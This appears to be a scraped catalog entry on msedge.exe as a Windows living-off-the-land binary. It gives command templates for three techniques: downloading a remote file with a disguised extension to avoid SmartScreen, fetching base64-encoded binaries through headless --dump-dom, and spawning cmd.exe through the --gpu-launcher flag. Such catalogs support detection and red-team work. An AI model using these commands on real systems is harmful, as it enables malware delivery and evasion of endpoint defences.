Microsoft Edge browser Located at: c:\Program Files\Microsoft\Edge\Application\msedge.exe; c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.
msedgemsedgeSandbox: execFile · Timeout: 30s
network.transfer.download security.execution.command Outputs
process.output Command execution output
network_trafficprocess_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
Edge will launch and download the file. A 'harmless' file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen. (Download file from the internet)
msedge.exe {REMOTEURL:.exe.txt}Edge will silently download the file. File extension should be .html and binaries should be encoded. (Download file from the internet)
msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}Edge spawns cmd.exe as a child process of msedge.exe and executes the specified command (Executes a process under a trusted Microsoft signed binary)
msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"msedge is a Windows LOLBin. Microsoft Edge browser Located at: c:\Program Files\Microsoft\Edge\Application\msedge.exe; c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.